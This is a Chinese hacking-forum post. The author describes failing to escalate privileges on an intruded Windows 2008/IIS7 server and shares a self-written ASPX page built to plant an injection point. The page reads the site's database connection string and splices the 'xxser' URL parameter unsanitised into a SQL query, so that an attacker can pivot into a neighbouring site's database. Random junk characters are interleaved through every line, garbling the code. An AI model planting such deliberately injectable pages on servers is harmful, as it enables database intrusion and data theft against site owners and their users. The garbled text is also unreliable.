昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。
4 X4 t1 @8 F* g3 ]4 ]. K- s/ }其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。
: \1 p' b/ F" X6 B- L. ?7 u代码量不多,自己写个拉倒了。烦死了。 i) z5 x2 G1 f" o( C% a, t' {7 \
3 a5 B5 Y* b! L* z) p S7 ^
9 Z& m! L. F2 Y' e0 n% m
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">$ f9 i, J7 t2 u% b4 h
<html xmlns="http://www.w3.org/1999/xhtml">
" [" \- O5 X' e<head runat="server">
+ o( A6 y3 a! p1 h6 O- w) N. g( P7 A <title>暗影aspx构造注射专用页面</title>4 n/ u$ j# y) W$ B; i8 h* [
</head>
" D) S2 w% A" B' m<body>- D5 r! a9 x# ?$ t- u
<form id="form1" runat="server">
+ r/ F' L1 c. a; ^; c0 |; F* Y <div>
0 V, p! Y1 [1 @. T <script language="c#" runat="server">3 b0 k- @# P- h0 J
) W2 ^7 H! w8 v2 U void page_init(object sender, EventArgs e)
& M& h# _! ~+ N! }( q& G/ ^: t {; u- r0 j7 p- Z' p/ j- V6 J3 O
' y8 k+ T2 i6 G6 v- B) b; W System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();
) U8 {3 i2 N- D6 o' |7 v8 J
W( f2 t$ B& N/ _, | conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
6 X4 k4 e- P+ h- q( x conn.Open();9 O8 C& ~7 l5 O2 L
6 C3 ^2 B3 O( c9 ] string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1
3 u# |! b2 K+ g- k8 L # w6 H2 D; o9 @/ g) v9 S6 }- S
System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
: {! G! n7 o3 A9 J) G int x = command.ExecuteNonQuery();
3 Q# [$ ^: |8 V. k6 v$ y Response.Write(i+"\n");: [5 e9 a+ b" p0 J% `+ z" }
Response.Write(x);
$ `1 C! G2 S: u# Z% y8 q2 N conn.Close();' h S+ H: R6 v2 P" x; L2 ]
}# d8 |8 b& _. | {( Z2 K# _
2 v# ^! m- l5 ` </script>
, r7 X, j2 ^5 K+ ^; Z </div>
7 H$ w% p+ F/ P# W: M6 k+ E+ i </form>; G8 ] J9 l6 i+ N- O6 i
</body>/ E# j1 H7 p/ u, U7 k$ @% ]% {
</html># h( U% y* |" u$ C
|